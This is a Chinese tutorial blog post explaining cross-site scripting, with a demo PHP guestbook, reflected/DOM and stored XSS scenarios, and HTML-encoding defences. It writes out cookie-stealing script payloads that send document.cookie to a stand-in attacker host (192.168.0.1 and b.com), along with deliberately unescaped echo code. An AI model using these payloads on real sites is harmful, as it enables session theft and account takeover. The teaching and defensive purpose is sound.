xss

￡神魔★判官ぃ 2022-06-13 22:58 214阅读 0赞

打算挖个坑，写点Web安全漏洞的东西，今天先填个XSS的，基础向，大神轻喷。

======  
随着互联网流行，以及网站互动性的提高，像论坛、微博还有各种web2.0应用的兴起，很多网站都可以由用户或多或少的参与，可能很多的网站用户注册之后都可以评论、发帖等等。

当然这些都是对正常向的用户来说的，如果是一个攻击者当然不会老老实实的发帖子之类的了。  
众所周知，现在看到的网页基本都是用html、javascript、css等技术在浏览器端展示的，所以如果一个黑客输入的不是正常的评论，而是一段html、javascript、css等的浏览器支持的代码会如何呢？  
下面来做个实验，这里我找了了一个”小明“同学写的简陋的类似留言板的php程序，功能就是简单的把用户提交的东西 再显示回去。

> <html> 
> <head> 
> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
> <title>测试页面</title> 
> </head> 
> <body> 
> <?php 
> if(empty($\_REQUEST\["T1"\]) === false) 
> \{ 
> echo "用户留言:".$\_REQUEST\["T1"\]; 
> \} 
> ?> 
> <form method="POST" action=""> 
> 留言: 
> <textarea class="area-text" style="width: 708px; height: 75px; overflow: hidden;" name="T1"></textarea> 
> <input type="submit" value="提交"> 
> </form> 
> </body> 
> </html>

打开后样子如下：  
![212][]

输入一个你好，上面的用户留言里会显示一个你好,下面来输入一点好玩的：  
![143][]  
于是当点击提交之后：  
![228][]  
难道这里不应该是在用户留言里显示那句js代码么，让我们来看看页面的html代码在前后两次提交后有什么区别。  
第一次：  
![190][]  
很正常

第二次：  
![201][]

注意刚才提交的**<script>alert("This is a xsscode")</script>**直接就成为web页面代码的一部分。 
在这里让我们来回顾下我们的留言板代码，处理用户提交内容的那部分

> <?php 
> if(empty($\_REQUEST\["T1"\]) === false) 
> \{ 
> echo "用户留言:".$\_REQUEST\["T1"\]; 
> \} 
> ?>

首先做了一个判断，检查参数T1是不是为空，  
之后不为空就执行下面的回显语句，在”用户留言：“后面拼接了T1参数中的内容，再回显到页面上。

可以看到这里，这个粗心的”小明“同学没有对T1的内容做任何检查，就返回给了用户，尼玛起码也得过滤个敏感词啊，网站上面冒个xx功出来要被查水表的。

于是我们就接触到了第一个xss漏洞，也就是跨站脚本，英文Cross-Site Script，这里缩写为了和常见的css（层叠样式表）区分就使用了xss。

xss漏洞很常见，程序员粗心对传入的参数没有检查，或者检查了、处理了，但是狡猾的黑客通过种种手段绕过去了都会造成xss漏洞。

与其他一些漏洞不太相同的是，受到xss漏洞直接攻击的是浏览器端，也就是当一个黑客发起攻击后，实际执行攻击代码的是浏览网站的用户所使用的浏览器，在这个过程中网站的服务器只是起到了一个”帮凶“的作用。

那么这种漏洞有什么危害呢（小明：人也就是弹个框有什么大不了的？）  
现在转换一下场景，小明的boss又让小明写了一个论坛程序，各种努力认真，最后搞出了一个炫酷的论坛，用户很多发帖踊跃，boss十分happy。但是他仍然没注意xss漏洞的问题。

让我们用事实来教育小明  
![280][]  
我构造了这么一个帖子，标题就叫hello,内容是这样的:

> 
> helloworld 
> <script type=text/javascript>window.location = " [http://192.168.0.1:8080/cookie.php?cookie=][http_192.168.0.1_8080_cookie.php_cookie]"+document.cookie</script>

让我们发出去，等等看别人点开之后会发生什么  
（*演示向的程序，我太懒就不整到数据库里存了，脑补下小明点链接的动作就好*）：  
![131][]  
这是什么，小明同学的cookie啊，用户名和密码都大喇喇的写在那里，而且还暴露了小明同学暗恋刘你妹的事情。

让我们来看看这个过程中发生了什么，首先咱们肯定是那个js代码搞的鬼，一共有三个部分  
第一，document.cookie,这里获取了来看贴子人的cookie；  
第二， "[http://192.168.0.1:8080/cookie.php?cookie=][http_192.168.0.1_8080_cookie.php_cookie]"+document. cookie 这部将获取到的cookie拼到了那个网址里的一个名为“cookie”的字段里  
第三，调用window.location将用户的浏览器指向了这个网址

所以最后达到的效果是：把用户的cookie提交给了[http://192.168.0.1:8080/coo][http_192.168.0.1_8080_coo] kie.php 这个网页。

这个网页干了什么呢，很简单的将cookie字段取出然后回显出来。

当然回显出来并不严重，但是如果他是悄悄的存起来了呢？

如果黑客再高级一点，修改一下那个发出去的js代码，利用创建一个图片，将图片地址拼合cookie字段值指向那个cookie.php，然后在cookie.php那里保存并返回一个正常的图片。  
oh，no，terrible.  
黑客拿到cookie之后，填到他的浏览器里，就能利用小明的身份在论坛上为所欲为了。

看，xss漏洞有多可怕。

本文来自：[高爽|Coder][Coder]，原文地址：[http://blog.csdn.net/ghsau/article/details/17027893][http_blog.csdn.net_ghsau_article_details_17027893]，转载请注明。  
       XSS又称CSS，全称Cross SiteScript，跨站脚本攻击，是Web程序中常见的漏洞，XSS属于被动式且用于客户端的攻击方式，所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码，当其它用户浏览该网站时，这段HTML代码会自动执行，从而达到攻击的目的。如，盗取用户Cookie、破坏页面结构、重定向到其它网站等。

# XSS攻击 #

XSS攻击类似于SQL注入攻击，攻击之前，我们先找到一个存在XSS漏洞的网站，XSS漏洞分为两种，一种是DOM Based XSS漏洞，另一种是Stored XSS漏洞。理论上，**所有可输入的地方**没有对输入数据进行处理的话，都会存在XSS漏洞，漏洞的危害取决于攻击代码的威力，攻击代码也不局限于script。

## DOM Based XSS ##

DOM Based XSS是一种基于网页DOM结构的攻击，该攻击特点是中招的人是少数人。

**场景一**：

当我登录a.com后，我发现它的页面某些内容是根据url中的一个叫content参数直接显示的，猜测它测页面处理可能是这样，其它语言类似：

<table style="color:rgb(51,51,51); font-family:Arial; font-size:14px; background:rgb(242,242,242)"> 
 <tbody> 
 <tr> 
 <td> &lt;%@&nbsp;page&nbsp;language="<a href="http://lib.csdn.net/base/java" title="Java 知识库" style="color:rgb(223,52,52); text-decoration:none; font-weight:bold" rel="nofollow">Java</a>"&nbsp;contentType="text/html; charset=UTF-8"&nbsp;pageEncoding="UTF-8"%&gt; &lt;!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"&gt; &lt;html&gt; &nbsp;&nbsp;&nbsp;&nbsp;&lt;head&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;title&gt;XSS<a href="http://lib.csdn.net/base/softwaretest" title="软件测试知识库" style="color:rgb(223,52,52); text-decoration:none; font-weight:bold" rel="nofollow">测试</a>&lt;/title&gt; &nbsp;&nbsp;&nbsp;&nbsp;&lt;/head&gt; &nbsp;&nbsp;&nbsp;&nbsp;&lt;body&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 页面内容：&lt;%=request.getParameter("content")%&gt; &nbsp;&nbsp;&nbsp;&nbsp;&lt;/body&gt; &lt;/html&gt; </td> 
 </tr> 
 </tbody> 
</table>

我知道了Tom也注册了该网站，并且知道了他的邮箱(或者其它能接收信息的联系方式)，我做一个超链接发给他，超链接地址为：http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>，当Tom点击这个链接的时候(假设他已经登录a.com)，浏览器就会直接打开b.com，并且把Tom在a.com中的cookie信息发送到b.com，b.com是我搭建的网站，当我的网站接收到该信息时，我就盗取了Tom在a.com的cookie信息，cookie信息中可能存有登录密码，攻击成功！这个过程中，受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>，浏览器展示页面内容的过程中，就会执行我的脚本，页面输出xss字样，这是攻击了我自己，那我如何攻击别人并且获利呢？

## Stored XSS ##

Stored XSS是存储式XSS漏洞，由于其攻击代码已经存储到服务器上或者[数据库][Link 1]中，所以受害者是很多人。

**场景二**：

a.com可以发文章，我登录后在a.com中发布了一篇文章，文章中包含了恶意代码，<script>window.open(“www.b.com?param=”+document.cookie)</script>，保存文章。这时Tom和Jack看到了我发布的文章，当在查看我的文章时就都中招了，他们的cookie信息都发送到了我的服务器上，攻击成功！这个过程中，受害者是多个人。 
       Stored XSS漏洞危害性更大，危害面更广。

# XSS防御 #

我们是在一个矛盾的世界中，有矛就有盾。只要我们的代码中不存在漏洞，攻击者就无从下手，我们要做一个没有缝的蛋。XSS防御有如下方式。

## 完善的过滤体系 ##

永远不相信用户的输入。需要对用户的输入进行处理，只允许输入合法的值，其它值一概过滤掉。

## Html encode ##

假如某些情况下，我们不能对用户数据进行严格的过滤，那我们也需要对标签进行转换。

<table style="color:rgb(51,51,51); font-family:Arial; font-size:14px; background:rgb(242,249,255)"> 
 <tbody> 
 <tr> 
 <td> less-than character (&lt;) </td> 
 <td> &amp;lt; </td> 
 </tr> 
 <tr> 
 <td> greater-than character (&gt;) </td> 
 <td> &amp;gt; </td> 
 </tr> 
 <tr> 
 <td> ampersand character (&amp;) </td> 
 <td> &amp;amp; </td> 
 </tr> 
 <tr> 
 <td> double-quote character (") </td> 
 <td> &amp;quot; </td> 
 </tr> 
 <tr> 
 <td> space character( ) </td> 
 <td> &amp;nbsp; </td> 
 </tr> 
 <tr> 
 <td> Any ASCII code character whose code is greater-than or equal to 0x80 </td> 
 <td> &amp;#&lt;number&gt;, where &lt;number&gt; is the ASCII character value. </td> 
 </tr> 
 </tbody> 
</table>

比如用户输入：<script>window.location.href=”http://www.baidu.com”;</script>，保存后最终存储的会是：<script>window.location.href="http://www.baidu.com"</script>在展现时浏览器会对这些字符转换成文本内容显示，而不是一段可执行的代码。

# 其它 #

下面提供两种Html encode的方法。

* 使用Apache的commons-lang.jar
 
 <table> 
 <tbody> 
 <tr> 
 <td> StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码，空格不转换 </td> 
 </tr> 
 </tbody> 
 </table>

* 自己实现转换，只转换部分字符
 
 <table style="background:rgb(242,242,242)"> 
 <tbody> 
 <tr> 
 <td> private&nbsp;static&nbsp;String htmlEncode(char&nbsp;c) { &nbsp;&nbsp;&nbsp;&nbsp;switch(c) { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'&amp;': &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"&amp;amp;"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'&lt;': &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"&amp;lt;"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'&gt;': &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"&amp;gt;"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'"': &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"&amp;quot;"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;' ': &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"&amp;nbsp;"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;c +&nbsp;""; &nbsp;&nbsp;&nbsp; } } &nbsp; /**&nbsp;对传入的字符串str进行Html&nbsp;encode转换&nbsp;*/ public&nbsp;static&nbsp;String htmlEncode(String str) { &nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(str ==null&nbsp;|| str.trim().equals(""))&nbsp;&nbsp;&nbsp;return&nbsp;str; &nbsp;&nbsp;&nbsp; StringBuilder encodeStrBuilder =&nbsp;new&nbsp;StringBuilder(); &nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(int&nbsp;i = 0, len = str.length(); i &lt; len; i++) { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; encodeStrBuilder.append(htmlEncode(str.charAt(i))); &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;encodeStrBuilder.toString(); } </td> 
 </tr> 
 </tbody> 
 </table>

(完)

[212]: /images/20220614/41f858020ef244ecbf2b847902125435.png
[143]: /images/20220614/73cc84ee41474f09a7b6bd7fa31d097e.png
[228]: /images/20220614/baa2dba52120401295a2f0cd5d922acf.png
[190]: /images/20220614/91ba81a7f0de43eba86307f4ab78c710.png
[201]: /images/20220614/3b88ab68298e4bcfac30cf12438b93d0.png
[280]: /images/20220614/97a2c7bede68434b862578c02d69e69a.png
[http_192.168.0.1_8080_cookie.php_cookie]: http://192.168.0.1:8080/cookie.php?cookie=
[131]: /images/20220614/3047f8342cc6445994c2e4f3719bd87b.png
[http_192.168.0.1_8080_coo]: http://192.168.0.1:8080/coo
[Coder]: http://blog.csdn.net/ghsau
[http_blog.csdn.net_ghsau_article_details_17027893]: http://blog.csdn.net/ghsau/article/details/17027893
[Link 1]: http://lib.csdn.net/base/mysql